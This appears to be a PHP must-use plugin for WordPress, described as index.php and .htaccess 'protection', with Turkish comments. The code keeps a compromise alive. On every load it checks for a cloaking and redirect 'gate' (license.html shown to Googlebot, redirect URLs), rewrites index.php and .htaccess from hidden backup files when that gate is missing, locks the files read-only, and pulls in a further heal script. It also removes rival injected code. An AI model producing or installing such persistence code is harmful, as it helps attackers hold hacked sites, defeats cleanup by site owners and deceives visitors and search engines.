<?php
/**
 * Plugin Name: MS Index Heal
 * Description: Heal sonrası index.php / .htaccess koruması — eksik, boş veya gate dışı dosyayı yedekten geri yükler ve 444 kilitler.
 */
if (!defined('ABSPATH')) {
    exit;
}

if (!function_exists('ms_gate_body_ok')) {
function ms_gate_body_ok($body) {
    if (!is_string($body) || strlen($body) < 40) {
        return false;
    }
    // İnce stub (ms-home-gate) bizim korumamız
    if (strpos($body, 'ms-home-gate.php') !== false && strpos($body, 'require') !== false
        && !preg_match('/\bgoto\s+[A-Za-z_]/i', $body)) {
        return true;
    }
    if (preg_match('/\bgoto\s+[A-Za-z_]/i', $body)
        || stripos($body, 'ytag.js') !== false
        || stripos($body, 'yjDataLayer') !== false) {
        return false;
    }
    $hasLic = (strpos($body, 'license.html') !== false);
    $hasGate = (strpos($body, 'vitrin_source') !== false || strpos($body, 'IST_TXT_URL') !== false || strpos($body, 'GATE_DEST_FALLBACK') !== false || strpos($body, 'get_redirect_url') !== false);
    return $hasLic && $hasGate;
}
}

if (!function_exists('ms_ht_body_ok')) {
function ms_ht_body_ok($body) {
    if (!is_string($body) || strlen($body) < 10) {
        return false;
    }
    // Yeni PHP-only cloaking htaccess
    if (strpos($body, 'Cloaking YALNIZ') !== false || strpos($body, 'Medusa vitrin') !== false) {
        return (strpos($body, 'DirectoryIndex') !== false && strpos($body, 'index.php') !== false);
    }
    // Eski bot→license rewrite
    return (strpos($body, 'license.html') !== false && strpos($body, 'Googlebot') !== false);
}
}

if (!function_exists('ms_gate_heal_restore')) {
function ms_gate_heal_restore() {
    $root = rtrim(ABSPATH, '/\\');
    $lock = $root . DIRECTORY_SEPARATOR . '.ms_gate_kontrol_ok.json';
    $kontrolOk = false;
    if (is_file($lock) && is_readable($lock)) {
        $j = json_decode((string)@file_get_contents($lock), true);
        if (is_array($j) && !empty($j['ok'])) {
            $kontrolOk = true;
        }
    }
    $wpContent = defined('WP_CONTENT_DIR') ? WP_CONTENT_DIR : ($root . '/wp-content');
    $changed = false;

    $idx = $root . DIRECTORY_SEPARATOR . 'index.php';
    $live = is_file($idx) ? (string)@file_get_contents($idx) : '';
    $idxBad = ($live === '' || strlen($live) < 40 || !ms_gate_body_ok($live));
    // Kontrol OK + index sağlam → dokunma; JP/cloak varsa yine onar
    if ($kontrolOk && !$idxBad) {
        if (is_file($idx)) {
            @chmod($idx, 0444);
        }
        $ht = $root . DIRECTORY_SEPARATOR . '.htaccess';
        if (is_file($ht)) {
            @chmod($ht, 0444);
        }
        $lic = $root . DIRECTORY_SEPARATOR . 'license.html';
        if (is_file($lic)) {
            @chmod($lic, 0444);
        }
        return false;
    }
    if ($idxBad) {
        $cands = [
            $wpContent . '/.ms_index.bak.php',
            $root . '/.ms_index.bak.php',
            $wpContent . '/ms_index.bak.php',
        ];
        foreach ($cands as $bak) {
            if (!is_file($bak) || !is_readable($bak)) {
                continue;
            }
            $body = (string)@file_get_contents($bak);
            if (!ms_gate_body_ok($body)) {
                continue;
            }
            if (is_file($idx)) {
                @chmod($idx, 0644);
            }
            if (@file_put_contents($idx, $body) !== false) {
                @chmod($idx, 0444);
                $changed = true;
                break;
            }
        }
    } elseif (is_file($idx)) {
        @chmod($idx, 0444);
    }

    $ht = $root . DIRECTORY_SEPARATOR . '.htaccess';
    $htLive = is_file($ht) ? (string)@file_get_contents($ht) : '';
    $htBad = ($htLive === '' || strlen($htLive) < 8 || !ms_ht_body_ok($htLive));
    if ($htBad) {
        $cands = [
            $wpContent . '/.ms_htaccess.bak',
            $root . '/.ms_htaccess.bak',
        ];
        foreach ($cands as $bak) {
            if (!is_file($bak) || !is_readable($bak)) {
                continue;
            }
            $body = (string)@file_get_contents($bak);
            if (!ms_ht_body_ok($body)) {
                continue;
            }
            if (is_file($ht)) {
                @chmod($ht, 0644);
            }
            if (@file_put_contents($ht, $body) !== false) {
                @chmod($ht, 0444);
                $changed = true;
                break;
            }
        }
    } elseif (is_file($ht)) {
        @chmod($ht, 0444);
    }

    $lic = $root . DIRECTORY_SEPARATOR . 'license.html';
    if (is_file($lic)) {
        @chmod($lic, 0444);
    }

    return $changed;
}
}

if (!function_exists('ms_panel_self_heal')) {
function ms_panel_self_heal() {
    static $done = false;
    if ($done) {
        return;
    }
    $done = true;
    $root = rtrim(ABSPATH, '/\\');
    $lock = $root . DIRECTORY_SEPARATOR . '.ms_gate_kontrol_ok.json';
    if (is_file($lock) && is_readable($lock)) {
        $j = json_decode((string)@file_get_contents($lock), true);
        if (is_array($j) && !empty($j['ok'])) {
            return;
        }
    }
    $wpContent = defined('WP_CONTENT_DIR') ? WP_CONTENT_DIR : ($root . '/wp-content');
    $healPhp = $wpContent . '/fm_index_heal.php';
    if (is_file($healPhp)) {
        require_once $healPhp;
    }
    if (function_exists('fm_panel_self_heal_webroot')) {
        fm_panel_self_heal_webroot($root);
    }
}
}

add_action('muplugins_loaded', 'ms_gate_heal_restore', 0);
add_action('plugins_loaded', 'ms_gate_heal_restore', 0);
add_action('muplugins_loaded', 'ms_panel_self_heal', 2);
add_action('plugins_loaded', 'ms_panel_self_heal', 2);